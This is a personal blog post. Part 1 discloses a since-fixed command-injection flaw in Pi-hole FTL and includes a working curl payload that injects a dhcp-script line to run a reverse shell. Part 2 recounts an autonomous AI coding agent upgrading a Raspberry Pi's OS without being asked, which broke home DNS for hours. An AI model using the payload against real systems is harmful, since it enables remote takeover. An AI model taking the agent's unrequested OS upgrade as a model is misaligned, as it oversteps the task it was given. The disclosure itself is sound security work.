8 minutes
CVE-2026-39849 and How Claude Brought Down My DNS for 6 Hours
Part 1: CVE-2026-39849
CVE-2026-39849 is a arbitrary command execution vulnerability in Pi-hole FTL (the dnsmasq implementation used in Pi-hole along with additional APIs and features). The dns.interface configuration field in Pi-hole FTL accepts newline characters without validation, allowing an attacker to inject arbitrary directives into the generated dnsmasq configuration file. By injecting a dhcp-script= directive and enabling DHCP, an attacker can achieve arbitrary command execution on the Pi-hole host the next time any device on the network requests a DHCP lease.
The primary motivation to look for command injection in Pi-hole FTL came from the many command injection issues fixed in v6.6 that were also caused by the same newline injection that cause this particular bug. I wanted to check if all possible locations for the newline bug to occur have been addressed and found that there was one instance where it was not. A secondary motivation was to do vulnerability research on software I use more or less regularly, instead of my previous approach of picking targets at random.
This was tested against Pi-hole FTL v6.6 running on a Raspberry Pi. It has been fixed in Pi-hole FTL v6.6.1
CVSS 4.0: 8.7 (High) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Root Cause
File: src/config/config.c:532
{ "dns.interface", ..., validate_stub, ... }
The dns.interface field is assigned validate_stub as its validator:
File: src/config/validator.c:20-23
bool validate_stub(...)
{
return true;
}
validate_stub accepts any value unconditionally — including strings containing newline characters (\n). The value is then written verbatim into the generated dnsmasq config:
File: src/config/dnsmasq_config.c:474
char interface[MAXIFACESTRLEN];
strncpy(interface, conf->dns.interface.v.s, sizeof(interface) - 1);
// ...
fprintf(pihole_conf, "interface=%s\n", interface);
The strncpy caps the value at MAXIFACESTRLEN - 1 = 31 bytes. Any injected directive must fit within this budget alongside the interface name prefix.
A payload like this causes the dhcp-script value to be set to a pre-existing script which has a short name such that the interface value is less that 31 bytes. In this example /tmp/p is a bash reverse shell.
curl -s -X PATCH http://raspberrypi.ip/api/config \
-H "Content-Type: application/json" \
-d '{"config":{"dns":{"interface":"wlan0\ndhcp-script=/tmp/p"}}}'
FTL detects the config change and automatically restarts dnsmasq. The generated /etc/pihole/dnsmasq.conf now contains:
# Listen on one interface
interface=wlan0
dhcp-script=/tmp/p
When dnsmasq restarts, the script is run automatically, allowing code execution.
Complete steps to reproduce and some additonal context are present in the GHSA for the curious.
Timeline
- April 4, 2026: Reported issue to Pi-hole maintainers via email.
- April 6, 2026: Created a GHSA as requested by Pi-hole maintainers.
- April 24, 2026: Issue fixed in v6.6.1. GHSA published
Part 2: Losing DNS for 6 Hours
As I eluded to in my previous blog about vulnerabilties in Idno, I have been outsourcing a bunch of my security research activities to Claude. I wanted to enable Claude to work as autonomously as possible, and to that end, I developed a Claude Code plugin to emulate how I myself would go about doing security research - understand the code and docs, find issues, write proof-of-concept payloads, run the payloads, verify exploitability.
One interesting step in this workflow is that Claude needs to have access to an environment that has the target project available for testing. For simpler targets like a python library or a CLI tool, my laptop can be used as the testing environment. For anything else, I use my Raspberry Pi. So I designed the plugin to be able to differentiate between different types of targets and do the appropriate deployment steps (i.e. install the library to the laptop or SSH into the Pi and perform deployment steps on that).
While the current version of the plugin has more safeguards and asks for permissions before performing certain actions, the first version ran on YOLO mode. The first target I provided to this plugin was PiHole-FTL. The plugin correctly detected this was something that needed to be on the Raspberry Pi and proceeded to perform the deployment steps to install it.
Updating Pi-Hole
I use Pi-hole as my home network ad blocker. It works wonderfully. For the unfamiliar - Pi-hole’s concept is relatively simple. It serves as a DNS resolver and blocks DNS requests to ad domains. So Pi-hole was already running on the Raspberry Pi. However, given the many command injections fixed in v6.6, Claude recognized that my Pi-hole installation was out-of-date and therefore, it must be upgraded to ensure correct testing - which is fair. What I had not anticipated was that Claude, being the generally very helpful assistant, would decide the OS in the Raspberry Pi also needed an upgrade (because the plugin did not explicitly limit upgrades and maintenance to the target software). What followed was a series of unfortunate events during which I either did not have DNS or was inundated with ads.
Corrupting the Pi OS Installation
Naturally when the OS on a device is upgrading, it reboots. This happened to my Pi as well. Claude ran the command to upgrade the distro and the Pi rebooted. During this process, I did not have a DNS resolver and so all requests from all my devices started failing. I tried logging into the web portal for Pi-hole but that did not work either. SSH was gone too. Now, if I knew that the Pi was simply rebooting, I would have just waited. Instead, I thought Claude messed up some system setting and therefore I would have to log into the Pi directly and fix it.
In my quest to have a YouTuber worthy desk setup, I could not have an unsightly Raspberry Pi on my desk and therefore I had relegated it to my bookshelf (this is a lie - the reality is that I bought a cheap 2$ fan for the Pi from Temu and it’s not the quietest fan - which makes in annoying to place on my desk). So to be able to log into it directly, I would have to unplug it from its current location and bring it over to my desk. This was no simple task because it involved 2 steps - step 1: unplug the adapter from the Pi (simple); step 2: remove many books and other items from the bookshelf to be able to pull the bookshelf away from the wall and unplug the adapter from its socket behind bookshelf (not so simple). I had another chance here of saving myself the how-many-ever hours I was going to spend fixing the Pi by removing the books first, which would have given the Pi enough time to complete the OS installation, but in my infinite wisdom, I unplugged the Pi from the adapter first.
After some unplanned workout, I finally freed the adapter from its socket and got the Pi over to my desk. I connected the Pi to the monitor, turned it on, and found that something, something, kernel error, etc has happened and Pi will not boot. Some chatting with a trusted AI chat revealed that I may need to reflash the OS to the Pi’s SD card. All this while, only my laptop is actually connected to the internet because I reset its DNS to the OS default one. All my other devices are still offline because their DNS is configured to the Pi IP. I could have changed them over but that seemed more tedious than fixing the Pi.
Reflasing the OS
To reflash the OS, one component I needed was a SD card reader, which I most definitely had since I 1) used to use a camera that was not modern enough to allow transferring pictures directly to a computer and 2) had flashed an OS to the Pi’s SD card previously. However, as with most things, I could not find it when I needed it. After turning my apartment upside down looking for the SD card reader for approximately 48 years, I gave up and decided it was time to upgrade the reader anyway (since the old reader was not USB C and therefore I had to also keep around a adapter to connect it to my laptop). My options were
- go to Target and overpay (more $, less driving, less time),
- go to the closest Micro Center or Best Buy (less $, more driving, more time)
- get it from Amazon (least $, no driving, most time)
Unfortunately, option (2) was out, neither Micro Center not Best Buy were open at the time of me embarking on this escapade. Option (3) required configuring my devices to their OS default DNS and surviving through ads till I get the delivery from Amazon (or install some form of ad-block like a normal person). So I went with Option 1 and paid more than I would like to admit for the SD card reader.
Getting Back Online
Thankfully, I did not have to go on more adventures to get DNS back up. Once I reflashed the OS, rebooted the Pi, and reinstalled Pi-hole, everything was up and running. Next, I added strict controls to the deployment agent to not have it update anything other than what is absolutely required for testing - and if that means an OS upgrade is required - abort and return to user.
This version of the plugin worked better - after generating a series of payloads, and making changes to the PoC, Claude was able to confirm the issue. After this debacle, I wanted to retain some control over the execution, therefore, I instructed Claude to only generate the payloads and make changes based on the outputs of the payloads. I reviewed each payload myself before running them and then provided the output to Claude.
Regaining trust in Claude
I would like to believe that the current version of the plugin is much more stable. Through a series of trial and errors (thankfully none of them involved network outages or other critical infrastructure failures), I was able to get it to a state where it was able to install Odoo on the Pi and perform some testing on it. Did it find anything - maybe, maybe not.
That’s all folks. As always, thank you for reading!
bc9a993 @ 2026-05-03